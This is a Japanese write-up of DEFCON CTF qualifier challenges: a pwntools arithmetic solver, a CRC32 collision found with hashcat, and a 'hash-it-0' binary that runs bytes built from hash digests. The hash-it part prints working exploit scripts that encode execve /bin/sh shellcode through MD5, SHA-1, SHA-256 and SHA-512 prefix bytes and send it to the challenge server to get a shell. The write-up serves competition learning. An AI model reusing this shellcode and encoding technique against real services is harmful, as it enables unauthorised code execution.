Writer:b1uef0x / Webページ建造途中
mic check問二つとquals問一つ分。過去2年のDEFCONでは惜しいところでflagが取れずじまいであったので、qualsの問題を解けたのは前進。
ウォームアップ問題その1。サーバーに接続すると計算問題が降ってきて、短時間で計算結果を回答しなければいけない。
高速計算が得意なら解けるかもしれないが、制限時間内に回答するのがしんどいので自動化する。setodaNote CTF deep_thoughtで作ったコードがそのまま使えそうなので、流用してソルバーを作成。
from pwn import *
io = remote("simple-service-c45xrrmhuc5su.shellweplayaga.me", 31337)
io.recvuntil("Ticket please: ")
io.sendline("ticket{*********************************************************************}")
#io.interactive()
st = io.recvuntil(" = ").decode('utf-8')
st = st[0:len(st)]
print(st)
fm = st.split(" ")
if fm[1]=="+" :
res = int(fm[0])+int(fm[2])
else :
res = int(fm[0])-int(fm[2])
print("res:" + str(res))
io.sendline(str(res).encode())
print(io.recvline())
print(io.recvline())
print(io.recvline())
ちなみにTicketは今回サーバー接続系の問題を解くために必要なコードで、チームごとに発行されている。
defconにこんな問題があることに違和感を覚えつつflagを取得。
Hack ___ planet!
Submit a string that complies with the following rules:
- The string should start with the punycode of your team name (it's ******). This is a good time for you to figure out with which team you are playing. Do not play for more than one team!
- After your team name, you may add any number of alphanumeric characters.
- CRC32(the_intended_answer) == CRC32(your_string)
ウォームアップ問題その2。条件を満たす文字列を作る問題。サーバーとかには接続しない。
チーム名から始まる文字列のCRC32をとって別の文字列のCRC32と一致させればよい。一致させる文字列を読み解けず私には回答できなかったが、チームメンバーが解いてくれた。文字列はthe
であった。
したがって、チーム名を******とすれば、CRC32(the) == CRC32(******~~~)となるような******~~~を探せばよい。これはhashcatで簡単に解ける。
hash.txtを用意して、中にはtheのCRC32である0x3c456de6を、3c456de6:00000000
の形式で記入しておく。次のコマンドをhashcatに投げれば目的の文字列が手に入る。付与する文字列は適当に10文字としたが、42億通り以上の範囲があればいいのでもっと少なくてもできそう。
./hashcat -m 11500 -a 3 hash.txt '******?h?h?h?h?h?h?h?h?h?h'
実行ファイルが配布され、サーバー上で当該ファイルが動作している。試しに接続しても、延々と文字入力ができるだけで何も返ってこない。Alarmがセットされており10秒経つとプログラムが終了する。
今回Ghidraではmain関数をうまく見つけられなかったため、IDA freeに読ませたmain関数が以下のものになる。
呼び出されている関数は0x13E0のものと0x1320の二つ。
0x13E0関数ではfreadを実行しており、gdbでデバッグしてみると標準入力を読み込んでいることがわかる。この関数はmain関数内で2回実行され、1回目は4byteの入力、2回目は2回目に入力した4byteを長さにした入力になる。なので例えば1回目でaaaa
などと入力すると2回目の入力は0x61616161byteを読み取ろうとするので、延々と文字入力ができるだけに見えるようになっている。
1回目の入力で\x00\x00\x00\x20
などを入れて文字数を現実的な値にすると関数を先に進めることができる。
0x1320関数ではハッシュ値を計算していて、繰り返し呼び出される。gdbで順番に見ていくと、次のように4種類のハッシュ関数を順番に使用している。
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b400000002003
arg[3]: 0x7ffff7a76db0 (<EVP_md5>: lea rax,[rip+0x338829] # 0x7ffff7daf5e0)
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b400000002081
arg[3]: 0x7ffff7a77510 (<EVP_sha1>: lea rax,[rip+0x338489] # 0x7ffff7daf9a0)
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b4000000020ee
arg[3]: 0x7ffff7a77530 (<EVP_sha256>: lea rax,[rip+0x3383a9] # 0x7ffff7daf8e0)
Guessed arguments:
arg[0]: 0x55 ('U')
arg[1]: 0x55 ('U')
arg[2]: 0x7fffffffde1b --> 0xde3b400000002070
arg[3]: 0x7ffff7a77570 (<EVP_sha512>: lea rax,[rip+0x3381e9] # 0x7ffff7daf760)
ここではUUUUU...をたくさん入れたものだが、これらの結果は関数中のR12レジスタを見ていくと、0x83351a130761cf81、0x64a059aa0741a4ee、0xf86dc1bab41e8070、0xf6183d27cf78f003になっており、第一引数+第二引数のデータでハッシュ値を計算したものと一致する。2回目に入力した文字列を先頭から2文字ずつ使ってハッシュ値をとり、ハッシュ値の先頭1バイトだけを順番に記録するようになっている。
main関数はハッシュ値の計算後、mmapとmemcpyを実行している。mmapの引数にはproc 7が設定されるため、コード実行が可能になっている。続くmemcpyでは先程のハッシュ値の計算結果をmmapで確保したメモリー内にコピーし、call rcx
でコピーしたデータを実行している。
したがって、ハッシュ値の先頭1バイトを組み合わせてシェルコードを組み立てることができれば、そのまま実行できそうだ。次のコードでシェルコードとなるような文字列を生成。
from pwn import *
import hashlib
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90"
encshellcode = b""
cycle = 0
def getHash(msg,c):
cm = c % 4
if cm==0:
return hashlib.md5(msg).digest()[0]
if cm==1:
return hashlib.sha1(msg).digest()[0]
if cm==2:
return hashlib.sha256(msg).digest()[0]
if cm==3:
return hashlib.sha512(msg).digest()[0]
for b in shellcode:
flag = False
for i in range(48,125):
for j in range(48,125):
if getHash(i.to_bytes(1,'little')+j.to_bytes(1,'little'),cycle)==b:
encshellcode += i.to_bytes(1,'little')+j.to_bytes(1,'little')
flag = True
break
if flag:
break
if flag==False :
print("not found!!")
break
cycle += 1
print(len(encshellcode).to_bytes(4,'big'))
print(encshellcode)
1回目の入力で2回目の文字数を入力し、2回目でシェルコードを生成するハッシュ値の元となる文字列を入力する。これをgdbで次のようにrunに入力するとシェルを起動することができた。
run < <(python -c 'import os; os.write(1,b"\x00\x00\x008");os.write(1,b"5M720c2U6b2e0z6R6A4k;]4w9R0b2m0w2L0Z3I07=M2t1j1T0m0`0f3a");')
ところが、実プロセス(vuln)に対して試してみるとSIGSEGVで終了してしまう。
gdbと実環境では条件が違うようだ。
そこで、実プロセスに対してgdb attach <プロセスID>
を使って調べてみる。1回目の入力と2回目の入力の間に適当なsleepをかけてその間にgdbでアタッチする。
Guessed arguments:
arg[0]: 0xa ('\n')
arg[1]: 0x39 ('9')
arg[2]: 0x7fffffffde7b --> 0xde3b400000002e55
arg[3]: 0x7ffff7a76db0 (<EVP_md5>: lea rax,[rip+0x338829] # 0x7ffff7daf5e0)
適当な入力で最初のハッシュ計算の部分を見ると、1文字目に改行コードの\nが入っている。つまり1文字目が改行コードになっている文字列でシェルコードを組み立てる必要がある。
最終的なスクリプトは以下の通り。
from pwn import *
import hashlib
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x90"
encshellcode = b""
cycle = 0
def getHash(msg,c):
cm = c % 4
if cm==0:
return hashlib.md5(msg).digest()[0]
if cm==1:
return hashlib.sha1(msg).digest()[0]
if cm==2:
return hashlib.sha256(msg).digest()[0]
if cm==3:
return hashlib.sha512(msg).digest()[0]
for b in shellcode:
flag = False
for i in range(48,125):
if len(encshellcode)==0:
i = 0xa
for j in range(0,255):
if getHash(i.to_bytes(1,'little')+j.to_bytes(1,'little'),cycle)==b:
encshellcode += i.to_bytes(1,'little')+j.to_bytes(1,'little')
flag = True
break
if flag:
break
if flag==False :
print("not found!!")
break
cycle += 1
encshellcode = encshellcode[1:]
print(len(encshellcode).to_bytes(4,'big'))
print(encshellcode)
print("--")
isOnline = 1
if isOnline==1:
io = remote("hash-it-0-m7tt7b7whagjw.shellweplayaga.me", 31337)
io.recvuntil("Ticket please: ")
io.sendline("ticket{******************************************************}")
else:
io = process("./vuln")
io.sendline(len(encshellcode).to_bytes(4,'big'))
io.sendline(encshellcode)
io.interactive()
無事サーバーに対してシェルを取ることができ、flag取得(10秒以内に手早く)。